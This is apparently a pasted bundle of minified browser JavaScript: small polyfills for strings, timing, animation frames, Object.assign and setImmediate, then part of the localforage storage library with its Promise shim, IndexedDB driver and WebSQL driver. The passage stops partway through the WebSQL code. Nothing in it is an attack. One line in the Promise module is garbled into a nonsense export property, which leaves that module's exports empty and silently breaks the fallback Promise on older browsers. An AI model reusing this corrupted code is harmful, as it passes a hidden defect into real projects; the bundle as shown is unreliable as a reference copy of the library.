· 8 years ago · Jan 08, 2018, 03:06 PM
1//js/polyfill/polyfill.js
2String.prototype.trim || (String.prototype.trim = function() {
3 return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "")
4}), Date.now = Date.now || function() {
5 return +new Date
6},
7function() {
8 if (void 0 === window.performance && (window.performance = {}), !window.performance.now) {
9 var e = Date.now();
10 performance.timing && performance.timing.navigationStart && (e = performance.timing.navigationStart), window.performance.now = function() {
11 return Date.now() - e
12 }
13 }
14}(), String.prototype.endsWith || (String.prototype.endsWith = function(e, t) {
15 var n = this.toString();
16 ("number" != typeof t || !isFinite(t) || Math.floor(t) !== t || t > n.length) && (t = n.length), t -= e.length;
17 var o = n.indexOf(e, t);
18 return -1 !== o && o === t
19}), String.prototype.startsWith || (String.prototype.startsWith = function(e, t) {
20 return t = t || 0, this.substr(t, e.length) === e
21}),
22function() {
23 "use strict";
24 for (var e = 0, t = ["ms", "moz", "webkit", "o"], n = !(!window.performance || !window.performance.now), o = 0, r = t.length; o < r && !window.requestAnimationFrame; o += 1) window.requestAnimationFrame = window[t[o] + "RequestAnimationFrame"], window.cancelAnimationFrame = window[t[o] + "CancelAnimationFrame"] || window[t[o] + "CancelRequestAnimationFrame"];
25 if (!/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) && window.requestAnimationFrame || (window.requestAnimationFrame = function(t, n) {
26 var o = (new Date).getTime(),
27 r = Math.max(0, 16 - (o - e)),
28 i = window.setTimeout(function() {
29 t(o + r)
30 }, r);
31 return e = o + r, i
32 }), window.cancelAnimationFrame || (window.cancelAnimationFrame = function(e) {
33 clearTimeout(e)
34 }), !n) {
35 var i = window.requestAnimationFrame,
36 a = +new Date;
37 window.requestAnimationFrame = function(e, t) {
38 i(function(t) {
39 return e(t < 1e12 ? t : t - a)
40 }, t)
41 }
42 }
43}(), String.prototype.repeat || (String.prototype.repeat = function(e) {
44 "use strict";
45 if (null == this) throw new TypeError("can't convert " + this + " to object");
46 var t = "" + this;
47 if ((e = +e) != e && (e = 0), e < 0) throw new RangeError("repeat count must be non-negative");
48 if (e == 1 / 0) throw new RangeError("repeat count must be less than infinity");
49 if (e = Math.floor(e), 0 == t.length || 0 == e) return "";
50 if (t.length * e >= 1 << 28) throw new RangeError("repeat count must not overflow maximum string size");
51 for (var n = ""; 1 == (1 & e) && (n += t), 0 != (e >>>= 1);) t += t;
52 return n
53}),
54function(e) {
55 "use strict";
56 e.console = e.console || {};
57 for (var t, n, o = e.console, r = {}, i = function() {}, a = "memory".split(","), s = "assert,clear,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profiles,profileEnd,show,table,time,timeEnd,timeline,timelineEnd,timeStamp,trace,warn".split(","); t = a.pop();) o[t] = o[t] || r;
58 for (; n = s.pop();) o[n] = o[n] || i
59}("undefined" == typeof window ? this : window), Object.assign || Object.defineProperty(Object, "assign", {
60 enumerable: !1,
61 configurable: !0,
62 writable: !0,
63 value: function(e) {
64 "use strict";
65 if (void 0 === e || null === e) throw new TypeError("Cannot convert first argument to object");
66 for (var t = Object(e), n = 1; n < arguments.length; n++) {
67 var o = arguments[n];
68 if (void 0 !== o && null !== o) {
69 o = Object(o);
70 for (var r = Object.keys(o), i = 0, a = r.length; i < a; i++) {
71 var s = r[i],
72 c = Object.getOwnPropertyDescriptor(o, s);
73 void 0 !== c && c.enumerable && (t[s] = o[s])
74 }
75 }
76 }
77 return t
78 }
79}),
80function(e, t) {
81 "use strict";
82
83 function n(e) {
84 "function" != typeof e && (e = new Function("" + e));
85 for (var t = new Array(arguments.length - 1), n = 0; n < t.length; n++) t[n] = arguments[n + 1];
86 var o = {
87 callback: e,
88 args: t
89 };
90 return c[s] = o, a(s), s++
91 }
92
93 function o(e) {
94 delete c[e]
95 }
96
97 function r(e) {
98 var n = e.callback,
99 o = e.args;
100 switch (o.length) {
101 case 0:
102 n();
103 break;
104 case 1:
105 n(o[0]);
106 break;
107 case 2:
108 n(o[0], o[1]);
109 break;
110 case 3:
111 n(o[0], o[1], o[2]);
112 break;
113 default:
114 n.apply(t, o)
115 }
116 }
117
118 function i(e) {
119 if (u) setTimeout(i, 0, e);
120 else {
121 var t = c[e];
122 if (t) {
123 u = !0;
124 try {
125 r(t)
126 } finally {
127 o(e), u = !1
128 }
129 }
130 }
131 }
132 if (!e.setImmediate) {
133 var a, s = 1,
134 c = {},
135 u = !1,
136 f = e.document,
137 m = Object.getPrototypeOf && Object.getPrototypeOf(e);
138 m = m && m.setTimeout ? m : e, "[object process]" === {}.toString.call(e.process) ? function() {
139 a = function(e) {
140 process.nextTick(function() {
141 i(e)
142 })
143 }
144 }() : function() {
145 if (e.postMessage && !e.importScripts) {
146 var t = !0,
147 n = e.onmessage;
148 return e.onmessage = function() {
149 t = !1
150 }, e.postMessage("", "*"), e.onmessage = n, t
151 }
152 }() ? function() {
153 var t = "setImmediate$" + Math.random() + "$",
154 n = function(n) {
155 n.source === e && "string" == typeof n.data && 0 === n.data.indexOf(t) && i(+n.data.slice(t.length))
156 };
157 e.addEventListener ? e.addEventListener("message", n, !1) : e.attachEvent("onmessage", n), a = function(n) {
158 e.postMessage(t + n, "*")
159 }
160 }() : e.MessageChannel ? function() {
161 var e = new MessageChannel;
162 e.port1.onmessage = function(e) {
163 i(e.data)
164 }, a = function(t) {
165 e.port2.postMessage(t)
166 }
167 }() : f && "onreadystatechange" in f.createElement("script") ? function() {
168 var e = f.documentElement;
169 a = function(t) {
170 var n = f.createElement("script");
171 n.onreadystatechange = function() {
172 i(t), n.onreadystatechange = null, e.removeChild(n), n = null
173 }, e.appendChild(n)
174 }
175 }() : function() {
176 a = function(e) {
177 setTimeout(i, 0, e)
178 }
179 }(), m.setImmediate = n, m.clearImmediate = o
180 }
181}("undefined" == typeof self ? "undefined" == typeof global ? this : global : self);
182//os/vendor/localforage.js
183! function(e) {
184if ("object" == typeof exports && "undefined" != typeof module) module.exports = e();
185else if ("function" == typeof define && define.amd) define([], e);
186else {
187 ("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this).localforage = e()
188}
189}(function() {
190return function e(t, n, r) {
191 function o(a, u) {
192 if (!n[a]) {
193 if (!t[a]) {
194 var c = "function" == typeof require && require;
195 if (!u && c) return c(a, !0);
196 if (i) return i(a, !0);
197 var f = new Error("Cannot find module '" + a + "'");
198 throw f.code = "MODULE_NOT_FOUND", f
199 }
200 var s = n[a] = {
201 exports: {}
202 };
203 t[a][0].call(s.exports, function(e) {
204 var n = t[a][1][e];
205 return o(n || e)
206 }, s, s.exports, e, t, n, r)
207 }
208 return n[a].exports
209 }
210 for (var i = "function" == typeof require && require, a = 0; a < r.length; a++) o(r[a]);
211 return o
212}({
213 1: [function(e, t, n) {
214 (function(e) {
215 "use strict";
216
217 function n() {
218 s = !0;
219 for (var e, t, n = l.length; n;) {
220 for (t = l, l = [], e = -1; ++e < n;) t[e]();
221 n = l.length
222 }
223 s = !1
224 }
225
226 function r(e) {
227 1 !== l.push(e) || s || o()
228 }
229 var o, i = e.MutationObserver || e.WebKitMutationObserver;
230 if (i) {
231 var a = 0,
232 u = new i(n),
233 c = e.document.createTextNode("");
234 u.observe(c, {
235 characterData: !0
236 }), o = function() {
237 c.data = a = ++a % 2
238 }
239 } else if (e.setImmediate || void 0 === e.MessageChannel) o = "document" in e && "onreadystatechange" in e.document.createElement("script") ? function() {
240 var t = e.document.createElement("script");
241 t.onreadystatechange = function() {
242 n(), t.onreadystatechange = null, t.parentNode.removeChild(t), t = null
243 }, e.document.documentElement.appendChild(t)
244 } : function() {
245 setTimeout(n, 0)
246 };
247 else {
248 var f = new e.MessageChannel;
249 f.port1.onmessage = n, o = function() {
250 f.port2.postMessage(0)
251 }
252 }
253 var s, l = [];
254 t.exports = r
255 }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
256 }, {}],
257 2: [function(e, t, n) {
258 "use strict";
259
260 function r() {}
261
262 function o(e) {
263 if ("function" != typeof e) throw new TypeError("resolver must be a function");
264 this.state = g, this.queue = [], this.outcome = void 0, e !== r && c(this, e)
265 }
266
267 function i(e, t, n) {
268 this.promise = e, "function" == typeof t && (this.onFulfilled = t, this.callFulfilled = this.otherCallFulfilled), "function" == typeof n && (this.onRejected = n, this.callRejected = this.otherCallRejected)
269 }
270
271 function a(e, t, n) {
272 h(function() {
273 var r;
274 try {
275 r = t(n)
276 } catch (t) {
277 return y.reject(e, t)
278 }
279 r === e ? y.reject(e, new TypeError("Cannot resolve promise with itself")) : y.resolve(e, r)
280 })
281 }
282
283 function u(e) {
284 var t = e && e.then;
285 if (e && "object" == typeof e && "function" == typeof t) return function() {
286 t.apply(e, arguments)
287 }
288 }
289
290 function c(e, t) {
291 function n(t) {
292 i || (i = !0, y.reject(e, t))
293 }
294
295 function r(t) {
296 i || (i = !0, y.resolve(e, t))
297 }
298
299 function o() {
300 t(r, n)
301 }
302 var i = !1,
303 a = f(o);
304 "error" === a.status && n(a.value)
305 }
306
307 function f(e, t) {
308 var n = {};
309 try {
310 n.value = e(t), n.status = "success"
311 } catch (e) {
312 n.status = "error", n.value = e
313 }
314 return n
315 }
316
317 function s(e) {
318 return e instanceof this ? e : y.resolve(new this(r), e)
319 }
320
321 function l(e) {
322 var t = new this(r);
323 return y.reject(t, e)
324 }
325
326 function d(e) {
327 var t = this;
328 if ("[object Array]" !== Object.prototype.toString.call(e)) return this.reject(new TypeError("must be an array"));
329 var n = e.length,
330 o = !1;
331 if (!n) return this.resolve([]);
332 for (var i = new Array(n), a = 0, u = -1, c = new this(r); ++u < n;) ! function(e, r) {
333 function u(e) {
334 i[r] = e, ++a !== n || o || (o = !0, y.resolve(c, i))
335 }
336 t.resolve(e).then(u, function(e) {
337 o || (o = !0, y.reject(c, e))
338 })
339 }(e[u], u);
340 return c
341 }
342
343 function v(e) {
344 var t = this;
345 if ("[object Array]" !== Object.prototype.toString.call(e)) return this.reject(new TypeError("must be an array"));
346 var n = e.length,
347 o = !1;
348 if (!n) return this.resolve([]);
349 for (var i = -1, a = new this(r); ++i < n;) ! function(e) {
350 t.resolve(e).then(function(e) {
351 o || (o = !0, y.resolve(a, e))
352 }, function(e) {
353 o || (o = !0, y.reject(a, e))
354 })
355 }(e[i]);
356 return a
357 }
358 var h = e(1),
359 y = {},
360 p = ["REJECTED"],
361 b = ["FULFILLED"],
362 g = ["PENDING"];
363 t.exportssafsdfsdfsfdfsd = n = o, o.prototype.catch = function(e) {
364 return this.then(null, e)
365 }, o.prototype.then = function(e, t) {
366 if ("function" != typeof e && this.state === b || "function" != typeof t && this.state === p) return this;
367 var n = new this.constructor(r);
368 return this.state !== g ? a(n, this.state === b ? e : t, this.outcome) : this.queue.push(new i(n, e, t)), n
369 }, i.prototype.callFulfilled = function(e) {
370 y.resolve(this.promise, e)
371 }, i.prototype.otherCallFulfilled = function(e) {
372 a(this.promise, this.onFulfilled, e)
373 }, i.prototype.callRejected = function(e) {
374 y.reject(this.promise, e)
375 }, i.prototype.otherCallRejected = function(e) {
376 a(this.promise, this.onRejected, e)
377 }, y.resolve = function(e, t) {
378 var n = f(u, t);
379 if ("error" === n.status) return y.reject(e, n.value);
380 var r = n.value;
381 if (r) c(e, r);
382 else {
383 e.state = b, e.outcome = t;
384 for (var o = -1, i = e.queue.length; ++o < i;) e.queue[o].callFulfilled(t)
385 }
386 return e
387 }, y.reject = function(e, t) {
388 e.state = p, e.outcome = t;
389 for (var n = -1, r = e.queue.length; ++n < r;) e.queue[n].callRejected(t);
390 return e
391 }, n.resolve = s, n.reject = l, n.all = d, n.race = v
392 }, {
393 1: 1
394 }],
395 3: [function(e, t, n) {
396 (function(t) {
397 "use strict";
398 "function" != typeof t.Promise && (t.Promise = e(2))
399 }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
400 }, {
401 2: 2
402 }],
403 4: [function(e, t, n) {
404 "use strict";
405
406 function r(e, t) {
407 if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function")
408 }
409
410 function o(e, t) {
411 e = e || [], t = t || {};
412 try {
413 return new Blob(e, t)
414 } catch (o) {
415 if ("TypeError" !== o.name) throw o;
416 for (var n = new("undefined" != typeof BlobBuilder ? BlobBuilder : "undefined" != typeof MSBlobBuilder ? MSBlobBuilder : "undefined" != typeof MozBlobBuilder ? MozBlobBuilder : WebKitBlobBuilder), r = 0; r < e.length; r += 1) n.append(e[r]);
417 return n.getBlob(t.type)
418 }
419 }
420
421 function i(e, t) {
422 t && e.then(function(e) {
423 t(null, e)
424 }, function(e) {
425 t(e)
426 })
427 }
428
429 function a(e, t, n) {
430 "function" == typeof t && e.then(t), "function" == typeof n && e.catch(n)
431 }
432
433 function u(e) {
434 for (var t = e.length, n = new ArrayBuffer(t), r = new Uint8Array(n), o = 0; o < t; o++) r[o] = e.charCodeAt(o);
435 return n
436 }
437
438 function c(e) {
439 return new ce(function(t) {
440 var n = e.transaction(fe, de),
441 r = o([""]);
442 n.objectStore(fe).put(r, "key"), n.onabort = function(e) {
443 e.preventDefault(), e.stopPropagation(), t(!1)
444 }, n.oncomplete = function() {
445 var e = navigator.userAgent.match(/Chrome\/(\d+)/),
446 n = navigator.userAgent.match(/Edge\//);
447 t(n || !e || parseInt(e[1], 10) >= 43)
448 }
449 }).catch(function() {
450 return !1
451 })
452 }
453
454 function f(e) {
455 return "boolean" == typeof ae ? ce.resolve(ae) : c(e).then(function(e) {
456 return ae = e
457 })
458 }
459
460 function s(e) {
461 var t = ue[e.name],
462 n = {};
463 n.promise = new ce(function(e) {
464 n.resolve = e
465 }), t.deferredOperations.push(n), t.dbReady ? t.dbReady = t.dbReady.then(function() {
466 return n.promise
467 }) : t.dbReady = n.promise
468 }
469
470 function l(e) {
471 var t = ue[e.name].deferredOperations.pop();
472 t && t.resolve()
473 }
474
475 function d(e, t) {
476 var n = ue[e.name].deferredOperations.pop();
477 n && n.reject(t)
478 }
479
480 function v(e, t) {
481 return new ce(function(n, r) {
482 if (e.db) {
483 if (!t) return n(e.db);
484 s(e), e.db.close()
485 }
486 var o = [e.name];
487 t && o.push(e.version);
488 var i = ie.open.apply(ie, o);
489 t && (i.onupgradeneeded = function(t) {
490 var n = i.result;
491 try {
492 n.createObjectStore(e.storeName), t.oldVersion <= 1 && n.createObjectStore(fe)
493 } catch (n) {
494 if ("ConstraintError" !== n.name) throw n;
495 console.warn('The database "' + e.name + '" has been upgraded from version ' + t.oldVersion + " to version " + t.newVersion + ', but the storage "' + e.storeName + '" already exists.')
496 }
497 }), i.onerror = function(e) {
498 e.preventDefault(), r(i.error)
499 }, i.onsuccess = function() {
500 n(i.result), l(e)
501 }
502 })
503 }
504
505 function h(e) {
506 return v(e, !1)
507 }
508
509 function y(e) {
510 return v(e, !0)
511 }
512
513 function p(e, t) {
514 if (!e.db) return !0;
515 var n = !e.db.objectStoreNames.contains(e.storeName),
516 r = e.version < e.db.version,
517 o = e.version > e.db.version;
518 if (r && (e.version !== t && console.warn('The database "' + e.name + "\" can't be downgraded from version " + e.db.version + " to version " + e.version + "."), e.version = e.db.version), o || n) {
519 if (n) {
520 var i = e.db.version + 1;
521 i > e.version && (e.version = i)
522 }
523 return !0
524 }
525 return !1
526 }
527
528 function b(e) {
529 return new ce(function(t, n) {
530 var r = new FileReader;
531 r.onerror = n, r.onloadend = function(n) {
532 var r = btoa(n.target.result || "");
533 t({
534 __local_forage_encoded_blob: !0,
535 data: r,
536 type: e.type
537 })
538 }, r.readAsBinaryString(e)
539 })
540 }
541
542 function g(e) {
543 return o([u(atob(e.data))], {
544 type: e.type
545 })
546 }
547
548 function m(e) {
549 return e && e.__local_forage_encoded_blob
550 }
551
552 function _(e) {
553 var t = this,
554 n = t._initReady().then(function() {
555 var e = ue[t._dbInfo.name];
556 if (e && e.dbReady) return e.dbReady
557 });
558 return a(n, e, e), n
559 }
560
561 function w(e) {
562 s(e);
563 for (var t = ue[e.name].forages, n = 0; n < t.length; n++) t[n]._dbInfo.db && (t[n]._dbInfo.db.close(), t[n]._dbInfo.db = null);
564 return v(e, !1).then(function(e) {
565 for (var n = 0; n < t.length; n++) t[n]._dbInfo.db = e
566 }).catch(function(t) {
567 throw d(e, t), t
568 })
569 }
570
571 function S(e, t, n) {
572 try {
573 var r = e.db.transaction(e.storeName, t);
574 n(null, r)
575 } catch (r) {
576 if (!e.db || "InvalidStateError" === r.name) return w(e).then(function() {
577 var r = e.db.transaction(e.storeName, t);
578 n(null, r)
579 });
580 n(r)
581 }
582 }
583
584 function I(e) {
585 function t() {
586 return ce.resolve()
587 }
588 var n = this,
589 r = {
590 db: null
591 };
592 if (e)
593 for (var o in e) r[o] = e[o];
594 ue || (ue = {});
595 var i = ue[r.name];
596 i || (i = {
597 forages: [],
598 db: null,
599 dbReady: null,
600 deferredOperations: []
601 }, ue[r.name] = i), i.forages.push(n), n._initReady || (n._initReady = n.ready, n.ready = _);
602 for (var a = [], u = 0; u < i.forages.length; u++) {
603 var c = i.forages[u];
604 c !== n && a.push(c._initReady().catch(t))
605 }
606 var f = i.forages.slice(0);
607 return ce.all(a).then(function() {
608 return r.db = i.db, h(r)
609 }).then(function(e) {
610 return r.db = e, p(r, n._defaultConfig.version) ? y(r) : e
611 }).then(function(e) {
612 r.db = i.db = e, n._dbInfo = r;
613 for (var t = 0; t < f.length; t++) {
614 var o = f[t];
615 o !== n && (o._dbInfo.db = r.db, o._dbInfo.version = r.version)
616 }
617 })
618 }
619
620 function E(e, t) {
621 var n = this;
622 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
623 var r = new ce(function(t, r) {
624 n.ready().then(function() {
625 S(n._dbInfo, le, function(o, i) {
626 if (o) return r(o);
627 try {
628 var a = i.objectStore(n._dbInfo.storeName).get(e);
629 a.onsuccess = function() {
630 var e = a.result;
631 void 0 === e && (e = null), m(e) && (e = g(e)), t(e)
632 }, a.onerror = function() {
633 r(a.error)
634 }
635 } catch (e) {
636 r(e)
637 }
638 })
639 }).catch(r)
640 });
641 return i(r, t), r
642 }
643
644 function A(e, t) {
645 var n = this,
646 r = new ce(function(t, r) {
647 n.ready().then(function() {
648 S(n._dbInfo, le, function(o, i) {
649 if (o) return r(o);
650 try {
651 var a = i.objectStore(n._dbInfo.storeName).openCursor(),
652 u = 1;
653 a.onsuccess = function() {
654 var n = a.result;
655 if (n) {
656 var r = n.value;
657 m(r) && (r = g(r));
658 var o = e(r, n.key, u++);
659 void 0 !== o ? t(o) : n.continue()
660 } else t()
661 }, a.onerror = function() {
662 r(a.error)
663 }
664 } catch (e) {
665 r(e)
666 }
667 })
668 }).catch(r)
669 });
670 return i(r, t), r
671 }
672
673 function D(e, t, n) {
674 var r = this;
675 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
676 var o = new ce(function(n, o) {
677 var i;
678 r.ready().then(function() {
679 return i = r._dbInfo, "[object Blob]" === se.call(t) ? f(i.db).then(function(e) {
680 return e ? t : b(t)
681 }) : t
682 }).then(function(t) {
683 S(r._dbInfo, de, function(i, a) {
684 if (i) return o(i);
685 try {
686 var u = a.objectStore(r._dbInfo.storeName).put(t, e);
687 null === t && (t = void 0), a.oncomplete = function() {
688 void 0 === t && (t = null), n(t)
689 }, a.onabort = a.onerror = function() {
690 var e = u.error ? u.error : u.transaction.error;
691 o(e)
692 }
693 } catch (e) {
694 o(e)
695 }
696 })
697 }).catch(o)
698 });
699 return i(o, n), o
700 }
701
702 function j(e, t) {
703 var n = this;
704 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
705 var r = new ce(function(t, r) {
706 n.ready().then(function() {
707 S(n._dbInfo, de, function(o, i) {
708 if (o) return r(o);
709 try {
710 var a = i.objectStore(n._dbInfo.storeName).delete(e);
711 i.oncomplete = function() {
712 t()
713 }, i.onerror = function() {
714 r(a.error)
715 }, i.onabort = function() {
716 var e = a.error ? a.error : a.transaction.error;
717 r(e)
718 }
719 } catch (e) {
720 r(e)
721 }
722 })
723 }).catch(r)
724 });
725 return i(r, t), r
726 }
727
728 function O(e) {
729 var t = this,
730 n = new ce(function(e, n) {
731 t.ready().then(function() {
732 S(t._dbInfo, de, function(r, o) {
733 if (r) return n(r);
734 try {
735 var i = o.objectStore(t._dbInfo.storeName).clear();
736 o.oncomplete = function() {
737 e()
738 }, o.onabort = o.onerror = function() {
739 var e = i.error ? i.error : i.transaction.error;
740 n(e)
741 }
742 } catch (e) {
743 n(e)
744 }
745 })
746 }).catch(n)
747 });
748 return i(n, e), n
749 }
750
751 function B(e) {
752 var t = this,
753 n = new ce(function(e, n) {
754 t.ready().then(function() {
755 S(t._dbInfo, le, function(r, o) {
756 if (r) return n(r);
757 try {
758 var i = o.objectStore(t._dbInfo.storeName).count();
759 i.onsuccess = function() {
760 e(i.result)
761 }, i.onerror = function() {
762 n(i.error)
763 }
764 } catch (e) {
765 n(e)
766 }
767 })
768 }).catch(n)
769 });
770 return i(n, e), n
771 }
772
773 function R(e, t) {
774 var n = this,
775 r = new ce(function(t, r) {
776 e < 0 ? t(null) : n.ready().then(function() {
777 S(n._dbInfo, le, function(o, i) {
778 if (o) return r(o);
779 try {
780 var a = !1,
781 u = i.objectStore(n._dbInfo.storeName).openCursor();
782 u.onsuccess = function() {
783 var n = u.result;
784 n ? 0 === e ? t(n.key) : a ? t(n.key) : (a = !0, n.advance(e)) : t(null)
785 }, u.onerror = function() {
786 r(u.error)
787 }
788 } catch (e) {
789 r(e)
790 }
791 })
792 }).catch(r)
793 });
794 return i(r, t), r
795 }
796
797 function k(e) {
798 var t = this,
799 n = new ce(function(e, n) {
800 t.ready().then(function() {
801 S(t._dbInfo, le, function(r, o) {
802 if (r) return n(r);
803 try {
804 var i = o.objectStore(t._dbInfo.storeName).openCursor(),
805 a = [];
806 i.onsuccess = function() {
807 var t = i.result;
808 t ? (a.push(t.key), t.continue()) : e(a)
809 }, i.onerror = function() {
810 n(i.error)
811 }
812 } catch (e) {
813 n(e)
814 }
815 })
816 }).catch(n)
817 });
818 return i(n, e), n
819 }
820
821 function x(e) {
822 var t, n, r, o, i, a = .75 * e.length,
823 u = e.length,
824 c = 0;
825 "=" === e[e.length - 1] && (a--, "=" === e[e.length - 2] && a--);
826 var f = new ArrayBuffer(a),
827 s = new Uint8Array(f);
828 for (t = 0; t < u; t += 4) n = he.indexOf(e[t]), r = he.indexOf(e[t + 1]), o = he.indexOf(e[t + 2]), i = he.indexOf(e[t + 3]), s[c++] = n << 2 | r >> 4, s[c++] = (15 & r) << 4 | o >> 2, s[c++] = (3 & o) << 6 | 63 & i;
829 return f
830 }
831
832 function N(e) {
833 var t, n = new Uint8Array(e),
834 r = "";
835 for (t = 0; t < n.length; t += 3) r += he[n[t] >> 2], r += he[(3 & n[t]) << 4 | n[t + 1] >> 4], r += he[(15 & n[t + 1]) << 2 | n[t + 2] >> 6], r += he[63 & n[t + 2]];
836 return n.length % 3 == 2 ? r = r.substring(0, r.length - 1) + "=" : n.length % 3 == 1 && (r = r.substring(0, r.length - 2) + "=="), r
837 }
838
839 function C(e, t) {
840 var n = "";
841 if (e && (n = ke.call(e)), e && ("[object ArrayBuffer]" === n || e.buffer && "[object ArrayBuffer]" === ke.call(e.buffer))) {
842 var r, o = be;
843 e instanceof ArrayBuffer ? (r = e, o += me) : (r = e.buffer, "[object Int8Array]" === n ? o += we : "[object Uint8Array]" === n ? o += Se : "[object Uint8ClampedArray]" === n ? o += Ie : "[object Int16Array]" === n ? o += Ee : "[object Uint16Array]" === n ? o += De : "[object Int32Array]" === n ? o += Ae : "[object Uint32Array]" === n ? o += je : "[object Float32Array]" === n ? o += Oe : "[object Float64Array]" === n ? o += Be : t(new Error("Failed to get type for BinaryArray"))), t(o + N(r))
844 } else if ("[object Blob]" === n) {
845 var i = new FileReader;
846 i.onload = function() {
847 var n = ye + e.type + "~" + N(this.result);
848 t(be + _e + n)
849 }, i.readAsArrayBuffer(e)
850 } else try {
851 t(JSON.stringify(e))
852 } catch (n) {
853 console.error("Couldn't convert value into a JSON string: ", e), t(null, n)
854 }
855 }
856
857 function L(e) {
858 if (e.substring(0, ge) !== be) return JSON.parse(e);
859 var t, n = e.substring(Re),
860 r = e.substring(ge, Re);
861 if (r === _e && pe.test(n)) {
862 var i = n.match(pe);
863 t = i[1], n = n.substring(i[0].length)
864 }
865 var a = x(n);
866 switch (r) {
867 case me:
868 return a;
869 case _e:
870 return o([a], {
871 type: t
872 });
873 case we:
874 return new Int8Array(a);
875 case Se:
876 return new Uint8Array(a);
877 case Ie:
878 return new Uint8ClampedArray(a);
879 case Ee:
880 return new Int16Array(a);
881 case De:
882 return new Uint16Array(a);
883 case Ae:
884 return new Int32Array(a);
885 case je:
886 return new Uint32Array(a);
887 case Oe:
888 return new Float32Array(a);
889 case Be:
890 return new Float64Array(a);
891 default:
892 throw new Error("Unkown type: " + r)
893 }
894 }
895
896 function T(e) {
897 var t = this,
898 n = {
899 db: null
900 };
901 if (e)
902 for (var r in e) n[r] = "string" != typeof e[r] ? e[r].toString() : e[r];
903 var o = new ce(function(e, r) {
904 try {
905 n.db = openDatabase(n.name, String(n.version), n.description, n.size)
906 } catch (e) {
907 return r(e)
908 }
909 n.db.transaction(function(o) {
910 o.executeSql("CREATE TABLE IF NOT EXISTS " + n.storeName + " (id INTEGER PRIMARY KEY, key unique, value)", [], function() {
911 t._dbInfo = n, e()
912 }, function(e, t) {
913 r(t)
914 })
915 })
916 });
917 return n.serializer = xe, o
918 }
919
920 function F(e, t) {
921 var n = this;
922 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
923 var r = new ce(function(t, r) {
924 n.ready().then(function() {
925 var o = n._dbInfo;
926 o.db.transaction(function(n) {
927 n.executeSql("SELECT * FROM " + o.storeName + " WHERE key = ? LIMIT 1", [e], function(e, n) {
928 var r = n.rows.length ? n.rows.item(0).value : null;
929 r && (r = o.serializer.deserialize(r)), t(r)
930 }, function(e, t) {
931 r(t)
932 })
933 })
934 }).catch(r)
935 });
936 return i(r, t), r
937 }
938
939 function z(e, t) {
940 var n = this,
941 r = new ce(function(t, r) {
942 n.ready().then(function() {
943 var o = n._dbInfo;
944 o.db.transaction(function(n) {
945 n.executeSql("SELECT * FROM " + o.storeName, [], function(n, r) {
946 for (var i = r.rows, a = i.length, u = 0; u < a; u++) {
947 var c = i.item(u),
948 f = c.value;
949 if (f && (f = o.serializer.deserialize(f)), void 0 !== (f = e(f, c.key, u + 1))) return void t(f)
950 }
951 t()
952 }, function(e, t) {
953 r(t)
954 })
955 })
956 }).catch(r)
957 });
958 return i(r, t), r
959 }
960
961 function M(e, t, n, r) {
962 var o = this;
963 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
964 var a = new ce(function(i, a) {
965 o.ready().then(function() {
966 void 0 === t && (t = null);
967 var u = t,
968 c = o._dbInfo;
969 c.serializer.serialize(t, function(t, f) {
970 f ? a(f) : c.db.transaction(function(n) {
971 n.executeSql("INSERT OR REPLACE INTO " + c.storeName + " (key, value) VALUES (?, ?)", [e, t], function() {
972 i(u)
973 }, function(e, t) {
974 a(t)
975 })
976 }, function(t) {
977 if (t.code === t.QUOTA_ERR) {
978 if (r > 0) return void i(M.apply(o, [e, u, n, r - 1]));
979 a(t)
980 }
981 })
982 })
983 }).catch(a)
984 });
985 return i(a, n), a
986 }
987
988 function P(e, t, n) {
989 return M.apply(this, [e, t, n, 1])
990 }
991
992 function q(e, t) {
993 var n = this;
994 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
995 var r = new ce(function(t, r) {
996 n.ready().then(function() {
997 var o = n._dbInfo;
998 o.db.transaction(function(n) {
999 n.executeSql("DELETE FROM " + o.storeName + " WHERE key = ?", [e], function() {
1000 t()
1001 }, function(e, t) {
1002 r(t)
1003 })
1004 })
1005 }).catch(r)
1006 });
1007 return i(r, t), r
1008 }
1009
1010 function U(e) {
1011 var t = this,
1012 n = new ce(function(e, n) {
1013 t.ready().then(function() {
1014 var r = t._dbInfo;
1015 r.db.transaction(function(t) {
1016 t.executeSql("DELETE FROM " + r.storeName, [], function() {
1017 e()
1018 }, function(e, t) {
1019 n(t)
1020 })
1021 })
1022 }).catch(n)
1023 });
1024 return i(n, e), n
1025 }
1026
1027 function W(e) {
1028 var t = this,
1029 n = new ce(function(e, n) {
1030 t.ready().then(function() {
1031 var r = t._dbInfo;
1032 r.db.transaction(function(t) {
1033 t.executeSql("SELECT COUNT(key) as c FROM " + r.storeName, [], function(t, n) {
1034 var r = n.rows.item(0).c;
1035 e(r)
1036 }, function(e, t) {
1037 n(t)
1038 })
1039 })
1040 }).catch(n)
1041 });
1042 return i(n, e), n
1043 }
1044
1045 function Q(e, t) {
1046 var n = this,
1047 r = new ce(function(t, r) {
1048 n.ready().then(function() {
1049 var o = n._dbInfo;
1050 o.db.transaction(function(n) {
1051 n.executeSql("SELECT key FROM " + o.storeName + " WHERE id = ? LIMIT 1", [e + 1], function(e, n) {
1052 var r = n.rows.length ? n.rows.item(0).key : null;
1053 t(r)
1054 }, function(e, t) {
1055 r(t)
1056 })
1057 })
1058 }).catch(r)
1059 });
1060 return i(r, t), r
1061 }
1062
1063 function G(e) {
1064 var t = this,
1065 n = new ce(function(e, n) {
1066 t.ready().then(function() {
1067 var r = t._dbInfo;
1068 r.db.transaction(function(t) {
1069 t.executeSql("SELECT key FROM " + r.storeName, [], function(t, n) {
1070 for (var r = [], o = 0; o < n.rows.length; o++) r.push(n.rows.item(o).key);
1071 e(r)
1072 }, function(e, t) {
1073 n(t)
1074 })
1075 })
1076 }).catch(n)
1077 });
